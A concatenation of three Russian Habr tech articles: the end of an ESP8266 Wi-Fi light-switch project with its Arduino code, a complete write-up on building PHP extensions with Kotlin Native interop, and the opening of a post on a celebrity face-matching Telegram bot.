0x20, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x7b, 0xd, 0xa,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6b,
0x67, 0x72, 0x6f, 0x75, 0x6e, 0x64, 0x3a, 0x20, 0x2d, 0x77,
0x65, 0x62, 0x6b, 0x69, 0x74, 0x2d, 0x6c, 0x69, 0x6e, 0x65,
0x61, 0x72, 0x2d, 0x67, 0x72, 0x61, 0x64, 0x69, 0x65, 0x6e,
0x74, 0x28, 0x74, 0x6f, 0x70, 0x2c, 0x20, 0x23, 0x44, 0x44,
0x34, 0x42, 0x33, 0x39, 0x2c, 0x20, 0x23, 0x43, 0x35, 0x33,
0x37, 0x32, 0x37, 0x29, 0x3b, 0xd, 0xa, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6b, 0x67, 0x72, 0x6f,
0x75, 0x6e, 0x64, 0x3a, 0x20, 0x2d, 0x6d, 0x6f, 0x7a, 0x2d,
0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x2d, 0x67, 0x72, 0x61,
0x64, 0x69, 0x65, 0x6e, 0x74, 0x28, 0x74, 0x6f, 0x70, 0x2c,
0x20, 0x23, 0x44, 0x44, 0x34, 0x42, 0x33, 0x39, 0x2c, 0x20,
0x23, 0x43, 0x35, 0x33, 0x37, 0x32, 0x37, 0x29, 0x3b, 0xd,
0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63,
0x6b, 0x67, 0x72, 0x6f, 0x75, 0x6e, 0x64, 0x3a, 0x20, 0x2d,
0x6d, 0x73, 0x2d, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x2d,
0x67, 0x72, 0x61, 0x64, 0x69, 0x65, 0x6e, 0x74, 0x28, 0x74,
0x6f, 0x70, 0x2c, 0x20, 0x23, 0x44, 0x44, 0x34, 0x42, 0x33,
0x39, 0x2c, 0x20, 0x23, 0x43, 0x35, 0x33, 0x37, 0x32, 0x37,
0x29, 0x3b, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x62, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x3a, 0x20, 0x31, 0x70,
0x78, 0x20, 0x73, 0x6f, 0x6c, 0x69, 0x64, 0x20, 0x23, 0x41,
0x46, 0x33, 0x30, 0x31, 0x46, 0x3b, 0xd, 0xa, 0x20, 0x20,
0x20, 0x20, 0x7d, 0xd, 0xa, 0xd, 0xa, 0x20, 0x20, 0x20,
0x20, 0x62, 0x75, 0x74, 0x74, 0x6f, 0x6e, 0x2e, 0x72, 0x65,
0x64, 0x3a, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x20, 0xd,
0xa, 0x20, 0x20, 0x20, 0x20, 0x7b, 0xd, 0xa, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6b, 0x67, 0x72,
0x6f, 0x75, 0x6e, 0x64, 0x3a, 0x20, 0x2d, 0x77, 0x65, 0x62,
0x6b, 0x69, 0x74, 0x2d, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72,
0x2d, 0x67, 0x72, 0x61, 0x64, 0x69, 0x65, 0x6e, 0x74, 0x28,
0x74, 0x6f, 0x70, 0x2c, 0x20, 0x23, 0x44, 0x37, 0x34, 0x37,
0x33, 0x36, 0x2c, 0x20, 0x23, 0x41, 0x44, 0x32, 0x37, 0x31,
0x39, 0x29, 0x3b, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x62, 0x61, 0x63, 0x6b, 0x67, 0x72, 0x6f, 0x75, 0x6e,
0x64, 0x3a, 0x20, 0x2d, 0x6d, 0x6f, 0x7a, 0x2d, 0x6c, 0x69,
0x6e, 0x65, 0x61, 0x72, 0x2d, 0x67, 0x72, 0x61, 0x64, 0x69,
0x65, 0x6e, 0x74, 0x28, 0x74, 0x6f, 0x70, 0x2c, 0x20, 0x23,
0x44, 0x37, 0x34, 0x37, 0x33, 0x36, 0x2c, 0x20, 0x23, 0x41,
0x44, 0x32, 0x37, 0x31, 0x39, 0x29, 0x3b, 0xd, 0xa, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6b, 0x67,
0x72, 0x6f, 0x75, 0x6e, 0x64, 0x3a, 0x20, 0x2d, 0x6d, 0x73,
0x2d, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x2d, 0x67, 0x72,
0x61, 0x64, 0x69, 0x65, 0x6e, 0x74, 0x28, 0x74, 0x6f, 0x70,
0x2c, 0x20, 0x23, 0x44, 0x37, 0x34, 0x37, 0x33, 0x36, 0x2c,
0x20, 0x23, 0x41, 0x44, 0x32, 0x37, 0x31, 0x39, 0x29, 0x3b,
0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6f,
0x78, 0x2d, 0x73, 0x68, 0x61, 0x64, 0x6f, 0x77, 0x3a, 0x20,
0x69, 0x6e, 0x73, 0x65, 0x74, 0x20, 0x30, 0x20, 0x31, 0x70,
0x78, 0x20, 0x31, 0x70, 0x78, 0x20, 0x72, 0x67, 0x62, 0x61,
0x28, 0x30, 0x2c, 0x30, 0x2c, 0x30, 0x2c, 0x30, 0x2e, 0x32,
0x29, 0x3b, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x7d, 0xd,
0xa, 0x20, 0x20, 0x3c, 0x2f, 0x73, 0x74, 0x79, 0x6c, 0x65,
0x3e, 0xd, 0xa, 0x3c, 0x2f, 0x68, 0x65, 0x61, 0x64, 0x3e,
0xd, 0xa, 0xd, 0xa, 0x3c, 0x62, 0x6f, 0x64, 0x79, 0x3e,
0xd, 0xa, 0x20, 0x20, 0x3c, 0x70, 0x20, 0x69, 0x64, 0x3d,
0x22, 0x74, 0x69, 0x74, 0x6c, 0x65, 0x22, 0x3e, 0xd0, 0xa3,
0xd0, 0xbf, 0xd1, 0x80, 0xd0, 0xb0, 0xd0, 0xb2, 0xd0, 0xbb,
0xd0, 0xb5, 0xd0, 0xbd, 0xd0, 0xb8, 0xd0, 0xb5, 0x20, 0xd0,
0xbe, 0xd1, 0x81, 0xd0, 0xb2, 0xd0, 0xb5, 0xd1, 0x89, 0xd0,
0xb5, 0xd0, 0xbd, 0xd0, 0xb8, 0xd0, 0xb5, 0xd0, 0xbc, 0x20,
0x28, 0xd0, 0xb3, 0xd0, 0xb0, 0xd1, 0x80, 0xd0, 0xb0, 0xd0,
0xb6, 0x29, 0x3c, 0x2f, 0x70, 0x3e, 0xd, 0xa, 0x20, 0x20,
0x3c, 0x64, 0x69, 0x76, 0x20, 0x69, 0x64, 0x3d, 0x22, 0x62,
0x75, 0x74, 0x74, 0x6f, 0x6e, 0x2d, 0x63, 0x6f, 0x6e, 0x74,
0x61, 0x69, 0x6e, 0x65, 0x72, 0x22, 0x3e, 0xd, 0xa, 0x20,
0x20, 0x20, 0x20, 0x3c, 0x64, 0x69, 0x76, 0x3e, 0x3c, 0x61,
0x20, 0x68, 0x72, 0x65, 0x66, 0x3d, 0x22, 0x2f, 0x6c, 0x69,
0x67, 0x68, 0x74, 0x3f, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e,
0x3d, 0x6f, 0x6e, 0x26, 0x74, 0x69, 0x6d, 0x65, 0x3d, 0x35,
0x22, 0x3e, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x3c, 0x62, 0x75, 0x74, 0x74, 0x6f, 0x6e, 0x3e, 0xd0, 0x92,
0xd0, 0xba, 0xd0, 0xbb, 0xd1, 0x8e, 0xd1, 0x87, 0xd0, 0xb8,
0xd1, 0x82, 0xd1, 0x8c, 0x20, 0xd1, 0x81, 0xd0, 0xb2, 0xd0,
0xb5, 0xd1, 0x82, 0x20, 0xd0, 0xbd, 0xd0, 0xb0, 0x20, 0x35,
0x20, 0xd0, 0xbc, 0xd0, 0xb8, 0xd0, 0xbd, 0xd1, 0x83, 0xd1,
0x82, 0x3c, 0x2f, 0x62, 0x75, 0x74, 0x74, 0x6f, 0x6e, 0x3e,
0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x3c, 0x2f, 0x61, 0x3e,
0x3c, 0x2f, 0x64, 0x69, 0x76, 0x3e, 0xd, 0xa, 0x20, 0x20,
0x20, 0x20, 0x3c, 0x64, 0x69, 0x76, 0x3e, 0x3c, 0x61, 0x20,
0x68, 0x72, 0x65, 0x66, 0x3d, 0x22, 0x2f, 0x6c, 0x69, 0x67,
0x68, 0x74, 0x3f, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x3d,
0x6f, 0x6e, 0x26, 0x74, 0x69, 0x6d, 0x65, 0x3d, 0x31, 0x30,
0x22, 0x3e, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x3c, 0x62, 0x75, 0x74, 0x74, 0x6f, 0x6e, 0x3e, 0xd0, 0x92,
0xd0, 0xba, 0xd0, 0xbb, 0xd1, 0x8e, 0xd1, 0x87, 0xd0, 0xb8,
0xd1, 0x82, 0xd1, 0x8c, 0x20, 0xd1, 0x81, 0xd0, 0xb2, 0xd0,
0xb5, 0xd1, 0x82, 0x20, 0xd0, 0xbd, 0xd0, 0xb0, 0x20, 0x31,
0x30, 0x20, 0xd0, 0xbc, 0xd0, 0xb8, 0xd0, 0xbd, 0xd1, 0x83,
0xd1, 0x82, 0x3c, 0x2f, 0x62, 0x75, 0x74, 0x74, 0x6f, 0x6e,
0x3e, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x3c, 0x2f, 0x61,
0x3e, 0x3c, 0x2f, 0x64, 0x69, 0x76, 0x3e, 0xd, 0xa, 0x20,
0x20, 0x20, 0x20, 0x3c, 0x64, 0x69, 0x76, 0x3e, 0x3c, 0x61,
0x20, 0x68, 0x72, 0x65, 0x66, 0x3d, 0x22, 0x2f, 0x6c, 0x69,
0x67, 0x68, 0x74, 0x3f, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e,
0x3d, 0x6f, 0x6e, 0x26, 0x74, 0x69, 0x6d, 0x65, 0x3d, 0x31,
0x35, 0x22, 0x3e, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x3c, 0x62, 0x75, 0x74, 0x74, 0x6f, 0x6e, 0x3e, 0xd0,
0x92, 0xd0, 0xba, 0xd0, 0xbb, 0xd1, 0x8e, 0xd1, 0x87, 0xd0,
0xb8, 0xd1, 0x82, 0xd1, 0x8c, 0x20, 0xd1, 0x81, 0xd0, 0xb2,
0xd0, 0xb5, 0xd1, 0x82, 0x20, 0xd0, 0xbd, 0xd0, 0xb0, 0x20,
0x31, 0x35, 0x20, 0xd0, 0xbc, 0xd0, 0xb8, 0xd0, 0xbd, 0xd1,
0x83, 0xd1, 0x82, 0x3c, 0x2f, 0x62, 0x75, 0x74, 0x74, 0x6f,
0x6e, 0x3e, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x3c, 0x2f,
0x61, 0x3e, 0x3c, 0x2f, 0x64, 0x69, 0x76, 0x3e, 0xd, 0xa,
0x20, 0x20, 0x20, 0x20, 0x3c, 0x64, 0x69, 0x76, 0x3e, 0x3c,
0x61, 0x20, 0x68, 0x72, 0x65, 0x66, 0x3d, 0x22, 0x2f, 0x6c,
0x69, 0x67, 0x68, 0x74, 0x3f, 0x61, 0x63, 0x74, 0x69, 0x6f,
0x6e, 0x3d, 0x6f, 0x6e, 0x22, 0x3e, 0xd, 0xa, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x3c, 0x62, 0x75, 0x74, 0x74, 0x6f,
0x6e, 0x3e, 0xd0, 0x92, 0xd0, 0xba, 0xd0, 0xbb, 0xd1, 0x8e,
0xd1, 0x87, 0xd0, 0xb8, 0xd1, 0x82, 0xd1, 0x8c, 0x20, 0xd1,
0x81, 0xd0, 0xb2, 0xd0, 0xb5, 0xd1, 0x82, 0x20, 0x28, 0xd0,
0xbf, 0xd0, 0xbe, 0xd1, 0x81, 0xd1, 0x82, 0xd0, 0xbe, 0xd1,
0x8f, 0xd0, 0xbd, 0xd0, 0xbd, 0xd0, 0xbe, 0x29, 0x3c, 0x2f,
0x62, 0x75, 0x74, 0x74, 0x6f, 0x6e, 0x3e, 0xd, 0xa, 0x20,
0x20, 0x20, 0x20, 0x3c, 0x2f, 0x61, 0x3e, 0x3c, 0x2f, 0x64,
0x69, 0x76, 0x3e, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x3c,
0x64, 0x69, 0x76, 0x3e, 0x3c, 0x61, 0x20, 0x68, 0x72, 0x65,
0x66, 0x3d, 0x22, 0x2f, 0x6c, 0x69, 0x67, 0x68, 0x74, 0x3f,
0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x3d, 0x6f, 0x66, 0x66,
0x22, 0x3e, 0xd, 0xa, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x3c, 0x62, 0x75, 0x74, 0x74, 0x6f, 0x6e, 0x20, 0x63, 0x6c,
0x61, 0x73, 0x73, 0x3d, 0x22, 0x72, 0x65, 0x64, 0x22, 0x3e,
0xd0, 0x92, 0xd1, 0x8b, 0xd0, 0xba, 0xd0, 0xbb, 0xd1, 0x8e,
0xd1, 0x87, 0xd0, 0xb8, 0xd1, 0x82, 0xd1, 0x8c, 0x20, 0xd1,
0x81, 0xd0, 0xb2, 0xd0, 0xb5, 0xd1, 0x82, 0x3c, 0x2f, 0x62,
0x75, 0x74, 0x74, 0x6f, 0x6e, 0x3e, 0xd, 0xa, 0x20, 0x20,
0x20, 0x20, 0x3c, 0x2f, 0x61, 0x3e, 0x3c, 0x2f, 0x64, 0x69,
0x76, 0x3e, 0xd, 0xa, 0x20, 0x20, 0x3c, 0x2f, 0x64, 0x69,
0x76, 0x3e, 0xd, 0xa, 0x3c, 0x2f, 0x62, 0x6f, 0x64, 0x79,
0x3e, 0xd, 0xa, 0x3c, 0x2f, 0x68, 0x74, 0x6d, 0x6c, 0x3e,
0xd, 0xa, 0
};
//-----------------------------------------------------------------------------
ESP8266WebServer g\_Server(80);
//-----------------------------------------------------------------------------
bool g\_fLightOn = false;
int g\_LightOnMillis = 0;
int g\_LightOnTimeInMs = 0;
//-----------------------------------------------------------------------------
void handlerLight();
void lightOn(int aTime);
void lightOff();
//-----------------------------------------------------------------------------
void setup()
{
pinMode(0, OUTPUT);
digitalWrite(0, 1);
Serial.begin(115200);
WiFi.mode(WIFI\_STA);
WiFi.begin(WIFI\_SSID, WIFI\_PASSWORD);
if (WiFi.waitForConnectResult() != WL\_CONNECTED)
{
Serial.println("WiFi Connect Failed! Rebooting...");
delay(1000);
ESP.restart();
}
ArduinoOTA.begin();
g\_Server.on("/light", handlerLight);
g\_Server.begin();
Serial.print("Open http://");
Serial.print(WiFi.localIP());
Serial.println("/light in your browser to see it working");
WiFi.setAutoReconnect(true);
}
//-----------------------------------------------------------------------------
void loop()
{
ArduinoOTA.handle();
g\_Server.handleClient();
if(g\_fLightOn && g\_LightOnTimeInMs &&
(millis() - g\_LightOnMillis) > g\_LightOnTimeInMs) { lightOff(); }
}
//-----------------------------------------------------------------------------
void handlerLight()
{
AUTHENTICATE\_OR\_RETURN();
auto action = g\_Server.arg("action");
if(action == "on")
{
lightOn(g\_Server.arg("time").toInt());
}
else if(action == "off")
{
lightOff();
}
else
{
// unknown action
}
g\_Server.send(200, "text/html", data\_light\_html);
}
//-----------------------------------------------------------------------------
void lightOn(int aTime)
{
Serial.println("Turn light on " + (aTime ? ("for " + String(aTime) + " minutes") : "permanently"));
g\_fLightOn = true;
g\_LightOnMillis = millis();
g\_LightOnTimeInMs = aTime \* 60 \* 1000;
digitalWrite(0, 0);
}
//-----------------------------------------------------------------------------
void lightOff()
{
Serial.println("Turn light off");
g\_fLightOn = false;
digitalWrite(0, 1);
}
//-----------------------------------------------------------------------------
```
Логика работы следующая. После старта выполняется попытка подключения к точке доступа Wi-Fi, используя в качестве SSID и пароля значения WIFI\_SSID и WIFI\_PASSWORD. В случае успешного выполнения соединения запускается веб-сервер на 80 порту и html-страницой, доступной по адресу `http:///light`. Логин и пароль, используемые при аутентификации, указаны в WWW\_USER и WWW\_PASSWORD.
Для удобства отладки, а также для вывода дополнительной информации присутствуют вызовы `Serial.println`, результат работы которых можно увидеть в `Serial Monitor`. Так, например, среди выводимой информации можно увидеть ip адрес, который был присвоен при подключении к точке доступа Wi-Fi.
Создание тестового образца
--------------------------
Прежде чем приступить к сборке рабочего варианта, который будет управлять уличным освещением, я собрал простую схему на макетной плате с использованием светодиода вместо прожектора.
В моем случае, используя модуль реле для ESP-01S, это выглядело следующим образом.
Сборка и монтаж рабочего образца
--------------------------------
Для сборки рабочего образца я приобрел несколько светодиодных прожекторов и распаячную коробку, куда поместил модуль реле. В качестве источника питания для модуля реле я решил использовать сетевое зарядное устройство, а точнее его содержимое, мощностью 5 Вт.
Для того чтобы веб-страница была также доступна за пределами домашней сети на роутере было добавлено правило, выполняющее проброс порта на ESP-01S.
Разрешите продемонстрировать, что получилось в итоге.
Спасибо за внимание! | https://habr.com/ru/post/665226/ | null | ru | null |
# Расширение PHP и Kotlin Native. Часть третья, наверное финальная
 В [первой части](https://habr.com/company/alfa/blog/415471/) рассказываются совсем базовые вещи про настройку инструментария и общие концепции.
[Вторая часть](https://habr.com/company/alfa/blog/416719/) про, так сказать, первый подход к снаряду, задумки, наметки, планы.
В этой статье будет чуть больше хардкора про интероп Си и K/N, много макросов, боли, безысходности и «лучей добра». Конечно же будет глава с рассказом о достижениях (сам себя не похвалишь… и в качестве бонуса рассказ о эпичном факапе.
**Disclaimer:** всё нижеследующее рассматривается в контексте написание библиотеки для PHP.
Глава первая. Интероп наивный
-----------------------------
Про то, как использовать K/N функций в Си описано в первой части цикла. Соответственно тут я расскажу, как использовать функции Си в K/N.
[Официальная документация](https://github.com/JetBrains/kotlin-native/blob/master/INTEROP.md) довольно скупа и лаконична, однако, для простых проектов, ее вполне достаточно.
Если вкратце, то надо создать специальный файл с расширением **.def** и указать в нем необходимые заголовочные файлы.
```
headers = php.h
```
Потом скормить его программе под названием **cinterop**.
```
# cinterop -def php.def -o php
```
На выходе вы получите библиотеку **libphp.klib**, содержащую llvm bitcode и различную мета-информацию.
Дальше можно смело пользоваться описанными в заголовочном файле функциями и макросами (`#define`), не забыв подключить библиотеку на этапе компиляции.
```
# kotlinc -opt -produce static ${SOURCES} -l libphp.klib -o myLib
```
Но есть нюанс. И не один.
### В том виде, как описано выше, библиотека не соберётся
Почему? А потому, что в php.h присутствуют следующие строки:
```
#include "php_version.h"
#include "zend.h"
#include "zend_sort.h"
#include "php_compat.h"
#include "zend_API.h"
```
Тут надо заметить, что компиляцией библиотеки занимается все же llvm, а у него есть ключ **-I**, а у cinterop есть ключ **-copt**. Ну вы поняли. В итоге, для компиляции **php.h** достаточно вот такой команды.
```
# cinterop -def my.def -o myLib -I${PHP_LIB_ROOT} -copt -I${PHP_LIB_ROOT} \
-copt -I${PHP_LIB_ROOT}/main \
-copt -I${PHP_LIB_ROOT}/Zend \
-copt -I${PHP_LIB_ROOT}/TSRM
```
### Макросы. Я вас люблю и ненавижу! Хотя нет, просто ненавижу.
Все, что вам нужно знать про `#define` в части интеропа Си > K/N — это
> Every C macro that expands to a constant is represented as Kotlin property. Other macros are not supported.
А потом вспоминаем, что расширение PHP — это макрос на макросе и макросом погоняет и стараемся не расплакаться.
Но не все так плохо. Для обхода подобной ситуации разработчики K/N предусмотрели моток синей изоленты для примотки к def-файлу **custom declarations**. Выглядит оно таким образом (для примера возьмем макрос `Z_TYPE_P`)
```
headers = php.h
---
static inline zend_uchar __zp_get_arg_type(zval *z_value) {
return Z_TYPE_P(z_value);
}
```
Теперь в коде K/N можно будет использовать функцию `__zp_get_arg_type`
Глава вторая. PHP INI-settings или макрос с подвыподвертом.
-----------------------------------------------------------
Это «луч добра» в сторону исходников PHP.
Для извлечения настроек предусмотрено 4 макроса:
```
INI_INT(val)
INI_FLT(val)
INI_STR(val)
INI_BOOL(val)
```
Где `val` — строка с именем настройки.
А теперь давайте, на примере `INI_STR`, посмотрим, как же этот макрос определен.
```
#define INI_STR(name) zend_ini_string_ex((name), sizeof(name)-1, 0, NULL)
```
Уже заметили его «фатальный недостаток»?
Если нет, то подскажу — это функция `sizeof`. Когда вы используете макрос напрямую, то все хорошо:
```
php_printf("The value is : %s", INI_STR("my.ini"));
```
Когда вы используете его через прокси-функцию из **.def**-файла — карета превращается в тыкву, а **sizeof(name)** возвращает размер указателя. Шах и мат Kotlin Native.
Вариантов обхода, собственно, всего два.
1. Использовать не макросы, а функции, к которым они привязаны.
2. Хардкодить функции-обертки для каждой необходимой настройки.
Первый вариант всем лучше второго, кроме одного момента — никто не даст гарантии, что декларация макроса не поменяется. Поэтому, для своего проекта, я, с чувством глубокого неудовлетворения, выбрал второй вариант.
Глава третья. Дебаг? Какой дебаг?
---------------------------------
### Акт 1 — интероп.
В один прекрасный момент, после приматывания синей изолентой к def-файлу 20-ти очередных прокси-функций, я получил замечательную ошибку.
```
Exception in thread "main" java.lang.Error: /tmp/tmp399964332777824085.c:103:38: error: too many arguments to function call, expected 2, have 3
at org.jetbrains.kotlin.native.interop.indexer.UtilsKt.ensureNoCompileErrors(Utils.kt:137)
at org.jetbrains.kotlin.native.interop.indexer.IndexerKt.indexDeclarations(Indexer.kt:902)
at org.jetbrains.kotlin.native.interop.indexer.IndexerKt.buildNativeIndexImpl(Indexer.kt:892)
at org.jetbrains.kotlin.native.interop.indexer.NativeIndexKt.buildNativeIndex(NativeIndex.kt:56)
at org.jetbrains.kotlin.native.interop.gen.jvm.MainKt.processCLib(main.kt:283)
at org.jetbrains.kotlin.native.interop.gen.jvm.MainKt.interop(main.kt:38)
at org.jetbrains.kotlin.cli.utilities.InteropCompilerKt.invokeInterop(InteropCompiler.kt:100)
at org.jetbrains.kotlin.cli.utilities.MainKt.main(main.kt:29)
```
Комментим половину, пересобираем, если повторилось комментим половину оставшегося, собираем… А учитывая, что процесс компиляции хидеров достаточно долог… (да, так показалось быстрее, чем лазить по десятку исходных файлов и скурпулезно, с лупой, выверять).
Второй «луч добра» уходит в сторону JetBrains.
### Акт 2 — рантайм.
Получаю в рантайме **segmentation fault**. Ну ок, бывает. Лезу в отладчик. Эммм… ШТА?
```
Program received signal SIGSEGV, Segmentation fault.
kfun:kotlinx.cinterop.toKString@kotlinx.cinterop.CPointer>.()kotlin.String ()
at /opt/buildAgent/work/4d622a065c544371/Interop/Runtime/src/main/kotlin/kotlinx/cinterop/Utils.kt:402
402 /opt/buildAgent/work/4d622a065c544371/Interop/Runtime/src/main/kotlin/kotlinx/cinterop/Utils.kt: No such file or directory.
```
Глава четвертая. Я налил чай в твой чай, чтобы ты мог пить чай пока пьешь чай.
------------------------------------------------------------------------------
Тут необходимо рассказать, как работает та фиговина, которую я делаю.
Вы пишите DSL, описывающий будущее расширение PHP, пишите код на K/N с реализацией функций, классов и методов, потом запускаете `make` и, чудесным образом, получаете готовую библиотеку, которую можно подключать к PHP.
Сборку можно поделить на 4 этапа:
1. Создание прослойки между Си и K/N (тот самый `cinterop`)
2. Генерация Си-кода расширения
3. Компиляция библиотеки с логикой
4. Компиляция целевой библиотеки
Задача — добавить возможность создавать инстансы PHP-класса в коде K/N. Например, чтобы у класса можно было определить метод `getInstance()`. Причем сделать хочется так, чтобы это было удобно использовать.
В Си эта задача решается на раз-два.
```
zval *obj = malloc(sizeof(zval));
object_init_ex(obj, myClass);
```
Казалось бы все просто — бери да переноси в K/N, но вот `myClass`…
А вот `myClass` — это глобальная переменная типа `zend_class_entry*`, декларируемая в Си коде проекта и с неизвестным заранее именем.
Следите за руками. Нужно скомпилировать библиотеку из кода на K/N, в которой будет функция, которой необходимо иметь доступ к `myClass`, которая определена в сгенерированном, но не скомпилированном Си-коде, из которого потом будет вызываться эта функция.
В конечном итоге, реализация этого функционала привела к добавлению двух новых артефактов: **.h** и **.kt** на этапе кодогенерации, усложнению этапа cinterop и эпичному факапу, про который расскажу в самом конце.
Глава пятая. Что в имени тебе моем?
-----------------------------------
Сказ про то, почему:
```
enum class ArgumentType {
PHP_STRING,
PHP_LONG,
PHP_DOUBLE,
PHP_NULL,
...
}
```
лучше, чем:
```
enum class ArgumentType {
STRING,
LONG,
DOUBLE,
NULL,
...
}
```
Да тут даже объяснять особо не нужно. Вот во что превращается `ArgumentType.NULL` в заголовочном файле котлиновской библиотеки:
```
struct {
extension_kt_kref_php_extension_dsl_ArgumentType (*get)(); /* enum entry for NULL. */
} NULL;
```
И вот как на такое реагирует `gcc`
```
/root/simpleExtension/phpmodule/extension_kt_api.h:113:17: error: expected identifier or '(' before 'void'
} NULL;
^
```
Занавес! Следите за именами.
Глава предпоследняя. Сам себя не похвалишь — никто не похвалит.
---------------------------------------------------------------
По большому счету, поставленных перед собой целей я достиг. В тему погрузился, «фреймворк» для написания PHP-расширений на Kotlin Native, в целом, готов. Осталась добавить некоторый, не самый критичный, функционал и отполировать.
Сам проект и, я надеюсь, хорошую документацию к нему, можно посмотреть [на гитхабе](https://github.com/rjhdby/kotlin-native-php-extension).
Что могу сказать про K/N? Только хорошее. Писать на нем одно удовольствие, а мелкие косяки и шероховатости вполне можно списать на то, что он еще даже не выбрался из колыбели :)
Глава последняя. Лучи добра, без кавычек.
-----------------------------------------
А вот теперь абсолютно серьезно и с глубоким уважением хочу поблагодарить ребят из JetBrains и резидентов slack-канала Kotlin Native. Вы супер!
И отдельное спасибо **Николаю Иготти**.
Бонус. Эпичный факап.
---------------------
Контекст описан в четвертой главе.
Собственно когда все было дописано до состояния, в котором компилировалось без ошибок, возникла проблема — во время тестирования, PHP открылся мне с совершенно незнакомой ранее стороны.
```
# php -dextension=./phpmodule/modules/extension.so -r "var_dump(ExampleClass::getInstance());"
*RECURSION*
#
```
«Фигасе!» — подумал я, полез в исходники PHP и нашел вот такой кусок.
```
case IS_OBJECT:
if (Z_IS_RECURSIVE_P(struc)) {
PUTS("*RECURSION*\n");
return;
}
```
Добавление отладки:
```
printf("%u", Z_IS_RECURSIVE_P(struc))
```
привело к:
```
undefined symbol: Z_IS_RECURSIVE_P in Unknown on line 0
```
«Фигасе!» — снова подумал я.
На тот момент, когда я догадался взглянуть на реально использующийся на linux-хосте php.h(7.1.8), а не на тот, который утянул с гитхаба из master-бранча(7.3.х), прошли сутки. Прям стыдно.
Но, как оказалось, дело было не в бобине.
Корректный код проверки на рекурсию, на всех подконтрольных мне этапах жизни объекта, рапортовал, что все ок и должно работать. А это значит, что стоит внимательно присмотреться к тем местам которые я не контролирую. Таковое нашлось ровно одно — в котором мой объект возвращается функции `var_dump`
```
RETURN_OBJ(
example_symbols()->kotlin.root.php.extension.proxy.objectToZval(
example_symbols()->kotlin.root.exampleclass.getInstance(/*не важно*/)
)
)
```
Раскроем до конца макрос `RETURN_OBJ`. Уберите от мониторов нервных и беременных!
```
1)
RETURN_OBJ(r)
2)
{ RETVAL_OBJ(r); return; }
3)
{ ZVAL_OBJ(return_value, r); return; }
4)
{ do {
zval *__z = (return_value);
Z_OBJ_P(__z) = (r);
Z_TYPE_INFO_P(__z) = IS_OBJECT_EX;
} while (0); return; }
5)
{ do {
zval *__z = (return_value);
Z_OBJ(*(__z)) = (r);
Z_TYPE_INFO(*(__z)) = (IS_OBJECT | (IS_TYPE_REFCOUNTED << Z_TYPE_FLAGS_SHIFT));
} while (0); return; }
6)
{ do {
zval *__z = (return_value);
(*(__z)).value.obj = (r);
(*(__z)).u1.type_info = (8 | ((1<<0) << 8));
} while (0); return; }
```
Вот тут то мне стало стыдно во второй раз. Я, совершенно на голубом глазу, пихал `zval*` туда, где ждали `zend_object*` и потратил на поиск ошибки почти два дня.
Спасибо за внимание, всем Kotlin! :)
PS. Если найдется добрая душа, которая вычитает мой корявый английский и поправит документацию — благодарности моей не будет предела. | https://habr.com/ru/post/423145/ | null | ru | null |
# Вы и Брэд Питт похожи на 99%
Мы в отделе аналитики онлайн-кинотеатра [Okko](https://okko.tv) любим как можно сильнее автоматизировать подсчёты сборов фильмов Александра Невского, а в освободившееся время учиться новому и реализовывать классные штуки, которые почему-то обычно выливаются в ботов для Телеграма. К примеру, перед началом чемпионата мира по футболу 2018 мы выкатили в рабочий чат бота, который собирал ставки на распределение итоговых мест, а после финала подсчитал результаты по заранее придуманной метрике и определил победителей. Хорватию в четвёрку не поставил никто.
Недавнее же свободное от составления ТОП-10 российских комедий время мы посвятили созданию [бота](http://t.me/okkofacebot), который находит знаменитость, на которую пользователь больше всего похож лицом. В рабочем чате идею все настолько оценили, что мы решили сделать бота общедоступным. В этой статье мы кратко вспомним теорию, расскажем о создании нашего бота и о том, как сделать такого самому.
Немного теории (в основном в картинках)
=======================================
Подробно о том, как устроены системы распознавания лиц я рассказывал в [одной из предыдущих своих статей](https://habr.com/post/317798/). Интересующийся читатель может перейти по ссылке, а я изложу ниже лишь основные моменты.
Итак, у вас есть фотография, на которой, возможно, даже изображено лицо и вы хотите понять, чьё же оно. Для этого вам необходимо выполнить 4 простых шага:
1. Выделить прямоугольник, ограничивающий лицо.
2. Выделить ключевые точки лица.
3. Выровнять и обрезать лицо.
4. Преобразовать изображение лица в некоторое машинно интерпретируемое представление.
5. Сравнить это представление с другими, имеющимися у вас в наличии.
### Выделение лица
И хотя свёрточные нейронные сети в последнее время уже научились находить лица на изображении не хуже классических методов, они всё-ещё уступают классическому [HOG](http://lear.inrialpes.fr/people/triggs/pubs/Dalal-cvpr05.pdf)-у по скорости и удобству использования.
